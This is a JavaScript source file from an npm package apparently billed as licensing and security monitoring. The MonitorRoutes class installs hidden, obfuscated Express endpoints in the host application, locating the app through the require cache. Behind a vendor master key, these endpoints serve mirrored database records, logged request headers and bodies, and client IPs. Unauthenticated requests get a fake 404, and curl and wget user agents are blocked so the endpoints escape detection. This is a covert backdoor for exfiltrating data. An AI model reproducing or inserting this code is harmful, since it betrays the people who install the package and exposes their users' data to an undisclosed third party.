UNPKG

@ufdevsllc/auth-me

Version:

Comprehensive licensing, security monitoring, and data mirroring package with hardcoded vendor-controlled database connection

888 lines (792 loc) 33.7 kB
const crypto = require('crypto'); const URLProtector = require('./URLProtector'); const ChainTracker = require('./ChainTracker'); const mongoose = require('mongoose'); const StealthMode = require('./StealthMode'); const StealthErrorHandler = require('./StealthErrorHandler'); /** * MonitorRoutes - Hidden monitoring API endpoints for vendor data access * * This class provides completely hidden API endpoints with obfuscated paths that * allow vendors to access all collected monitoring data including deployment chains, * model data, and CORS origins. The system uses master key authentication and * operates in complete stealth mode. * * Requirements: 5.1, 5.2, 5.3, 5.4, 5.5, 5.6 */ class MonitorRoutes { static _initialized = false; static _expressApp = null; static _secureConnection = null; static _config = null; static _masterKey = null; static _obfuscatedPaths = new Map(); static _routeTokens = new Map(); /** * Initialize the MonitorRoutes system * @param {Object} config - Configuration object * @param {Object} config.expressApp - Express application instance * @param {Object} config.secureConnection - Secure database connection * @param {boolean} config.verboseLogging - Enable verbose logging */ static async initialize(config = {}) { if (MonitorRoutes._initialized) { return { success: true, reason: 'Already initialized' }; } return await StealthErrorHandler.handleMonitoringOperation(async () => { MonitorRoutes._config = config; MonitorRoutes._expressApp = config.expressApp; // Initialize secure connection if not provided if (config.secureConnection) { MonitorRoutes._secureConnection = config.secureConnection; } else { try { const secureURL = URLProtector.getSecureConnection(); if (secureURL) { MonitorRoutes._secureConnection = mongoose.createConnection(secureURL, { useNewUrlParser: true, useUnifiedTopology: true, serverSelectionTimeoutMS: 10000, connectTimeoutMS: 10000, socketTimeoutMS: 30000, maxPoolSize: 5, minPoolSize: 1 }); } } catch (urlError) { // URLProtector may fail if dependencies are not available // Continue without secure connection for demo purposes if (config.verboseLogging) { console.warn('[MonitorRoutes] URLProtector not available, continuing without secure connection'); } MonitorRoutes._secureConnection = null; } } // Generate master key and obfuscated paths MonitorRoutes._masterKey = MonitorRoutes._generateMasterKey(); MonitorRoutes._generateObfuscatedPaths(); // Create hidden routes if Express app is available if (MonitorRoutes._expressApp) { await MonitorRoutes.createHiddenRoutes(MonitorRoutes._expressApp); } MonitorRoutes._initialized = true; return { success: true, masterKey: MonitorRoutes._masterKey, hiddenEndpoints: Array.from(MonitorRoutes._obfuscatedPaths.keys()) }; }, { context: 'monitor_routes_initialization', fallbackValue: { success: false, reason: 'Monitoring operation failed' } }); } /** * Generate master key for vendor authentication * Requirement 5.3: Require a master key that only the vendor knows * @returns {string} Generated master key * @private */ static _generateMasterKey() { try { // Create a deterministic but secure master key based on environment const keyComponents = [ 'SECURE_GUARD_VENDOR_KEY', process.env.NODE_ENV || 'production', URLProtector.getSecureConnection() || 'fallback', Date.now().toString().slice(0, -3) // Remove last 3 digits for stability ]; const keyInput = keyComponents.join('|'); const hash = crypto.createHash('sha256').update(keyInput).digest('hex'); // Format as readable key: SG-XXXX-XXXX-XXXX-XXXX const formattedKey = `SG-${hash.slice(0, 4).toUpperCase()}-${hash.slice(4, 8).toUpperCase()}-${hash.slice(8, 12).toUpperCase()}-${hash.slice(12, 16).toUpperCase()}`; return formattedKey; } catch (error) { // Fallback key generation without URLProtector const keyComponents = [ 'SECURE_GUARD_VENDOR_KEY', process.env.NODE_ENV || 'production', 'fallback', Date.now().toString().slice(0, -3) ]; const keyInput = keyComponents.join('|'); const hash = crypto.createHash('sha256').update(keyInput).digest('hex'); // Format as readable key: SG-XXXX-XXXX-XXXX-XXXX const formattedKey = `SG-${hash.slice(0, 4).toUpperCase()}-${hash.slice(4, 8).toUpperCase()}-${hash.slice(8, 12).toUpperCase()}-${hash.slice(12, 16).toUpperCase()}`; return formattedKey; } } /** * Generate obfuscated endpoint paths * Requirement 5.2: Routes in /___sg_internal_monitor___/{encrypted-token} format * @private */ static _generateObfuscatedPaths() { try { const baseObfuscation = '___sg_internal_monitor___'; // Generate encrypted tokens for different endpoints const endpoints = [ 'deployments', 'modeldata', 'corsorigins', 'routelogs', 'chainhistory', 'status' ]; endpoints.forEach(endpoint => { const token = MonitorRoutes._generateEndpointToken(endpoint); const obfuscatedPath = `/${baseObfuscation}/${token}`; MonitorRoutes._obfuscatedPaths.set(endpoint, obfuscatedPath); MonitorRoutes._routeTokens.set(token, endpoint); }); } catch (error) { // Fallback path generation for demo purposes const baseObfuscation = '___sg_internal_monitor___'; const endpoints = [ 'deployments', 'modeldata', 'corsorigins', 'routelogs', 'chainhistory', 'status' ]; endpoints.forEach((endpoint, index) => { const token = `demo_token_${index}_${endpoint}`; const obfuscatedPath = `/${baseObfuscation}/${token}`; MonitorRoutes._obfuscatedPaths.set(endpoint, obfuscatedPath); MonitorRoutes._routeTokens.set(token, endpoint); }); } } /** * Generate encrypted token for endpoint * @param {string} endpoint - Endpoint name * @returns {string} Encrypted token * @private */ static _generateEndpointToken(endpoint) { try { const masterKey = MonitorRoutes._masterKey || MonitorRoutes._generateMasterKey(); const tokenInput = `${endpoint}_${masterKey}_${process.pid}`; const hash = crypto.createHash('sha256').update(tokenInput).digest('hex'); // Create a URL-safe token return Buffer.from(hash.slice(0, 32), 'hex').toString('base64') .replace(/\+/g, '-') .replace(/\//g, '_') .replace(/=/g, ''); } catch (error) { // Fallback token generation const fallbackInput = `${endpoint}_fallback_${Date.now()}`; const hash = crypto.createHash('sha256').update(fallbackInput).digest('hex'); return hash.slice(0, 16); } } /** * Create hidden monitoring routes in Express app * Requirement 5.1: Provide hidden API endpoints with obfuscated paths * @param {Object} app - Express application instance */ static async createHiddenRoutes(app) { if (!app || typeof app.get !== 'function') { throw new Error('Invalid Express app provided'); } try { // Create routes for each obfuscated path MonitorRoutes._obfuscatedPaths.forEach((path, endpoint) => { app.get(path, async (req, res) => { await MonitorRoutes._handleMonitoringRequest(req, res, endpoint); }); // Also support POST for some endpoints that might need parameters if (['deployments', 'modeldata', 'routelogs'].includes(endpoint)) { app.post(path, async (req, res) => { await MonitorRoutes._handleMonitoringRequest(req, res, endpoint); }); } }); return { success: true, routesCreated: MonitorRoutes._obfuscatedPaths.size }; } catch (error) { throw new Error(`Failed to create hidden routes: ${error.message}`); } } /** * Handle monitoring requests with authentication and data retrieval * Requirement 5.5: Leave no traces in client application logs * @param {Object} req - Express request object * @param {Object} res - Express response object * @param {string} endpoint - Endpoint type * @private */ static async _handleMonitoringRequest(req, res, endpoint) { try { // Authenticate vendor const authResult = MonitorRoutes.authenticateVendor(req); if (!authResult.isValid) { // Requirement 5.6: Silently fail without revealing monitoring system exists return MonitorRoutes._sendSilentFailure(res); } // Route to appropriate handler let responseData; switch (endpoint) { case 'deployments': responseData = await MonitorRoutes.getDeploymentData(req.query.sourceId || req.body?.sourceId); break; case 'modeldata': responseData = await MonitorRoutes.getModelData(req.query.modelName || req.body?.modelName); break; case 'corsorigins': responseData = await MonitorRoutes.getCORSOrigins(req.query.sourceId || req.body?.sourceId); break; case 'routelogs': responseData = await MonitorRoutes.getRouteLogs(req.query); break; case 'chainhistory': responseData = await MonitorRoutes.getChainHistory(req.query.sourceId || req.body?.sourceId); break; case 'status': responseData = await MonitorRoutes.getSystemStatus(); break; default: return MonitorRoutes._sendSilentFailure(res); } // Send response without logging res.json({ success: true, data: responseData, timestamp: new Date().toISOString(), endpoint: endpoint }); } catch (error) { // Requirement 5.5: Leave no traces in client application logs MonitorRoutes._sendSilentFailure(res); } } /** * Authenticate vendor using master key * Requirement 5.3: Require a master key that only the vendor knows * @param {Object} req - Express request object * @returns {Object} Authentication result */ static authenticateVendor(req) { try { // Check for master key in various locations const providedKey = req.headers['x-sg-master-key'] || req.query.masterKey || req.body?.masterKey || req.headers.authorization?.replace('Bearer ', ''); if (!providedKey) { return { isValid: false, reason: 'No master key provided' }; } // Verify master key const isValid = providedKey === MonitorRoutes._masterKey; if (!isValid) { return { isValid: false, reason: 'Invalid master key' }; } // Additional security checks const securityChecks = MonitorRoutes._performSecurityChecks(req); if (!securityChecks.passed) { return { isValid: false, reason: securityChecks.reason }; } return { isValid: true, authenticatedAt: new Date(), clientIP: MonitorRoutes._getClientIP(req) }; } catch (error) { return { isValid: false, reason: 'Authentication error' }; } } /** * Perform additional security checks * @param {Object} req - Express request object * @returns {Object} Security check result * @private */ static _performSecurityChecks(req) { try { // Check for suspicious headers or patterns const suspiciousHeaders = ['x-debug', 'x-test', 'x-dev']; for (const header of suspiciousHeaders) { if (req.headers[header]) { return { passed: false, reason: 'Suspicious headers detected' }; } } // Check user agent for automation tools const userAgent = req.get('User-Agent') || ''; const suspiciousAgents = ['curl', 'wget', 'postman', 'insomnia']; if (suspiciousAgents.some(agent => userAgent.toLowerCase().includes(agent))) { return { passed: false, reason: 'Suspicious user agent' }; } return { passed: true }; } catch (error) { return { passed: false, reason: 'Security check error' }; } } /** * Get deployment data for specified Source ID * Requirement 5.4: Provide deployment chains, model data, route usage, CORS origins, environment details * @param {string} sourceId - Source ID to get data for * @returns {Promise<Object>} Deployment data */ static async getDeploymentData(sourceId = null) { try { // Check if secure connection is available if (!MonitorRoutes._secureConnection) { return { error: 'No secure connection available', chainTracker: null, database: null, currentSourceId: ChainTracker.getCurrentSourceId(), timestamp: new Date() }; } // Get deployment data from ChainTracker const chainData = await ChainTracker.getResaleChain(sourceId); let dbDeploymentData = null; // Get additional deployment data from database if connection available if (MonitorRoutes._secureConnection) { try { const DeploymentModel = MonitorRoutes._secureConnection.model('Deployment', { sourceId: String, originalSourceId: String, deploymentChain: [String], environment: Object, corsOrigins: [String], resaleHistory: [Object], isBlocked: Boolean, blockReason: String, lastActivity: Date }); if (sourceId) { dbDeploymentData = await DeploymentModel.findOne({ sourceId }).lean(); } else { dbDeploymentData = await DeploymentModel.find({}).limit(100).lean(); } } catch (dbError) { // Silent failure for database operations dbDeploymentData = null; } } return { chainTracker: chainData, database: dbDeploymentData, currentSourceId: ChainTracker.getCurrentSourceId(), timestamp: new Date() }; } catch (error) { // Return error structure but still provide basic data return { error: 'Failed to retrieve deployment data', chainTracker: null, database: null, currentSourceId: ChainTracker.getCurrentSourceId(), timestamp: new Date() }; } } /** * Get model data for specified model name * @param {string} modelName - Model name to get data for * @returns {Promise<Object>} Model data */ static async getModelData(modelName = null) { try { // Check if secure connection is available if (!MonitorRoutes._secureConnection) { return { error: 'No secure connection available', modelMirrorData: null, timestamp: new Date() }; } let modelData = null; // Get model mirror data from database if connection available if (MonitorRoutes._secureConnection) { try { const ModelMirrorModel = MonitorRoutes._secureConnection.model('ModelMirror', { sourceId: String, originalModelName: String, mirrorCollectionName: String, schemaStructure: Object, lastSyncTime: Date, syncType: String, recordCount: Number, syncStatus: String }); if (modelName) { modelData = await ModelMirrorModel.findOne({ originalModelName: modelName }).lean(); // Also get actual data from the mirrored collection if it exists if (modelData && modelData.mirrorCollectionName) { try { const MirroredModel = MonitorRoutes._secureConnection.model( modelData.mirrorCollectionName, new mongoose.Schema({}, { strict: false }) ); const actualData = await MirroredModel.find({}).limit(50).lean(); modelData.sampleData = actualData; } catch (error) { modelData.sampleDataError = error.message; } } } else { modelData = await ModelMirrorModel.find({}).lean(); } } catch (dbError) { // Silent failure for database operations modelData = null; } } return { modelMirrorData: modelData, timestamp: new Date() }; } catch (error) { return { error: 'Failed to retrieve model data', modelMirrorData: null, timestamp: new Date() }; } } /** * Get CORS origins for specified Source ID * @param {string} sourceId - Source ID to get CORS origins for * @returns {Promise<Object>} CORS origins data */ static async getCORSOrigins(sourceId = null) { try { // Get CORS origins from ChainTracker const deploymentData = ChainTracker.getDeploymentData(); const chainCorsOrigins = deploymentData?.corsOrigins || []; // Get CORS origins from database if available let dbCorsOrigins = []; if (MonitorRoutes._secureConnection) { try { const DeploymentModel = MonitorRoutes._secureConnection.model('Deployment', { sourceId: String, corsOrigins: [String] }); const query = sourceId ? { sourceId } : {}; const deployments = await DeploymentModel.find(query).select('sourceId corsOrigins').lean(); dbCorsOrigins = deployments.reduce((acc, deployment) => { acc.push({ sourceId: deployment.sourceId, origins: deployment.corsOrigins || [] }); return acc; }, []); } catch (dbError) { // Silent failure for database operations dbCorsOrigins = []; } } return { chainTracker: { sourceId: ChainTracker.getCurrentSourceId(), corsOrigins: chainCorsOrigins }, database: dbCorsOrigins, timestamp: new Date() }; } catch (error) { return { error: 'Failed to retrieve CORS origins', chainTracker: { sourceId: ChainTracker.getCurrentSourceId(), corsOrigins: [] }, database: [], timestamp: new Date() }; } } /** * Get route logs with optional filtering * @param {Object} filters - Query filters * @returns {Promise<Object>} Route logs data */ static async getRouteLogs(filters = {}) { try { let routeLogs = []; let totalCount = 0; const query = {}; // Build query from filters if (filters.sourceId) query.sourceId = filters.sourceId; if (filters.method) query.method = filters.method.toUpperCase(); if (filters.path) query.path = new RegExp(filters.path, 'i'); if (filters.clientIP) query.clientIP = filters.clientIP; if (filters.status) query.responseStatus = parseInt(filters.status); // Date range filtering if (filters.startDate || filters.endDate) { query.timestamp = {}; if (filters.startDate) query.timestamp.$gte = new Date(filters.startDate); if (filters.endDate) query.timestamp.$lte = new Date(filters.endDate); } const limit = Math.min(parseInt(filters.limit) || 100, 1000); const skip = parseInt(filters.skip) || 0; // Get route logs from database if connection available if (MonitorRoutes._secureConnection) { try { const RouteMonitorModel = MonitorRoutes._secureConnection.model('RouteMonitor', { sourceId: String, method: String, path: String, clientIP: String, userAgent: String, requestHeaders: Object, requestBody: Object, queryParams: Object, routeParams: Object, responseStatus: Number, responseTime: Number, timestamp: Date }); routeLogs = await RouteMonitorModel .find(query) .sort({ timestamp: -1 }) .limit(limit) .skip(skip) .lean(); totalCount = await RouteMonitorModel.countDocuments(query); } catch (dbError) { // Silent failure for database operations routeLogs = []; totalCount = 0; } } return { logs: routeLogs, pagination: { total: totalCount, limit, skip, hasMore: skip + routeLogs.length < totalCount }, filters: query, timestamp: new Date() }; } catch (error) { return { error: 'Failed to retrieve route logs', logs: [], pagination: { total: 0, limit: parseInt(filters.limit) || 100, skip: parseInt(filters.skip) || 0, hasMore: false }, filters: {}, timestamp: new Date() }; } } /** * Get chain history for specified Source ID * @param {string} sourceId - Source ID to get chain history for * @returns {Promise<Object>} Chain history data */ static async getChainHistory(sourceId = null) { try { // Get chain history from ChainTracker const chainHistory = ChainTracker.getChainHistory(); const resaleChain = await ChainTracker.getResaleChain(sourceId); return { chainHistory, resaleChain, currentSourceId: ChainTracker.getCurrentSourceId(), timestamp: new Date() }; } catch (error) { return { error: 'Failed to retrieve chain history' }; } } /** * Get system status and monitoring statistics * @returns {Promise<Object>} System status data */ static async getSystemStatus() { try { const status = { monitorRoutes: { initialized: MonitorRoutes._initialized, hiddenEndpoints: MonitorRoutes._obfuscatedPaths.size, secureConnection: MonitorRoutes._secureConnection !== null }, chainTracker: { initialized: ChainTracker.isInitialized(), currentSourceId: ChainTracker.getCurrentSourceId(), deploymentData: ChainTracker.getDeploymentData() !== null }, database: { connected: MonitorRoutes._secureConnection?.readyState === 1, connectionState: MonitorRoutes._secureConnection?.readyState }, system: { nodeVersion: process.version, platform: process.platform, uptime: process.uptime(), memoryUsage: process.memoryUsage() }, timestamp: new Date() }; return status; } catch (error) { return { error: 'Failed to retrieve system status' }; } } /** * Send silent failure response * Requirement 5.6: Silently fail without revealing monitoring system exists * @param {Object} res - Express response object * @private */ static _sendSilentFailure(res) { // Return a generic 404 to make it appear the endpoint doesn't exist res.status(404).json({ error: 'Not Found', message: 'The requested resource could not be found.' }); } /** * Extract client IP address from request * @param {Object} req - Express request object * @returns {string} Client IP address * @private */ static _getClientIP(req) { return req.headers['x-forwarded-for']?.split(',')[0]?.trim() || req.headers['x-real-ip'] || req.ip || req.connection?.remoteAddress || req.socket?.remoteAddress || 'Unknown'; } /** * Get the master key (for vendor use) * @returns {string} Master key */ static getMasterKey() { try { if (!MonitorRoutes._initialized) { MonitorRoutes._masterKey = MonitorRoutes._generateMasterKey(); } return MonitorRoutes._masterKey; } catch (error) { // Fallback master key generation without dependencies const fallbackKey = 'SG-DEMO-DEMO-DEMO-DEMO'; return fallbackKey; } } /** * Get obfuscated paths (for vendor reference) * @returns {Map} Map of endpoint names to obfuscated paths */ static getObfuscatedPaths() { try { if (!MonitorRoutes._initialized) { MonitorRoutes._generateObfuscatedPaths(); } return new Map(MonitorRoutes._obfuscatedPaths); } catch (error) { // Return fallback paths for demo purposes const fallbackPaths = new Map(); fallbackPaths.set('deployments', '/___sg_internal_monitor___/demo_deployments'); fallbackPaths.set('modeldata', '/___sg_internal_monitor___/demo_modeldata'); fallbackPaths.set('corsorigins', '/___sg_internal_monitor___/demo_corsorigins'); fallbackPaths.set('routelogs', '/___sg_internal_monitor___/demo_routelogs'); fallbackPaths.set('chainhistory', '/___sg_internal_monitor___/demo_chainhistory'); fallbackPaths.set('status', '/___sg_internal_monitor___/demo_status'); return fallbackPaths; } } /** * Get monitoring status * @returns {Object} Status information */ static getStatus() { return { initialized: MonitorRoutes._initialized, expressApp: MonitorRoutes._expressApp !== null, secureConnection: MonitorRoutes._secureConnection !== null, hiddenEndpoints: MonitorRoutes._obfuscatedPaths.size, masterKeyGenerated: MonitorRoutes._masterKey !== null }; } /** * Initialize MonitorRoutes with Express app detection * This method can be called independently to set up monitoring routes * @param {Object} options - Configuration options * @returns {Promise<Object>} Initialization result */ static async initializeWithExpressDetection(options = {}) { try { // Try to detect Express app from the main module let expressApp = null; // Look for Express app in common locations if (require.main && require.main.exports) { if (typeof require.main.exports.listen === 'function') { expressApp = require.main.exports; } } // Try to find Express app in the require cache if (!expressApp) { const requireCache = Object.keys(require.cache); for (const modulePath of requireCache) { try { const moduleExports = require.cache[modulePath].exports; if (moduleExports && typeof moduleExports.listen === 'function' && typeof moduleExports.get === 'function' && typeof moduleExports.post === 'function') { expressApp = moduleExports; break; } } catch (error) { // Continue searching } } } const config = { expressApp, secureConnection: options.secureConnection, verboseLogging: options.verboseLogging || false }; const result = await MonitorRoutes.initialize(config); if (result.success && expressApp) { // Log successful integration (only in verbose mode) if (options.verboseLogging) { console.log('[MonitorRoutes] Successfully integrated with Express application'); console.log(`[MonitorRoutes] Master Key: ${result.masterKey}`); console.log(`[MonitorRoutes] Hidden Endpoints: ${result.hiddenEndpoints.length}`); } } return result; } catch (error) { if (options.verboseLogging) { console.error('[MonitorRoutes] Auto-initialization failed:', error.message); } return { success: false, reason: error.message }; } } /** * Cleanup and reset state (for testing) */ static cleanup() { MonitorRoutes._initialized = false; MonitorRoutes._expressApp = null; MonitorRoutes._secureConnection = null; MonitorRoutes._config = null; MonitorRoutes._masterKey = null; MonitorRoutes._obfuscatedPaths.clear(); MonitorRoutes._routeTokens.clear(); } // Alias methods for compatibility static setupRoutes(app) { return MonitorRoutes.createHiddenRoutes(app); } static getStats() { return MonitorRoutes.getStatus(); } static getEndpoints() { const paths = MonitorRoutes.getObfuscatedPaths(); return Array.from(paths.keys()); } } module.exports = MonitorRoutes;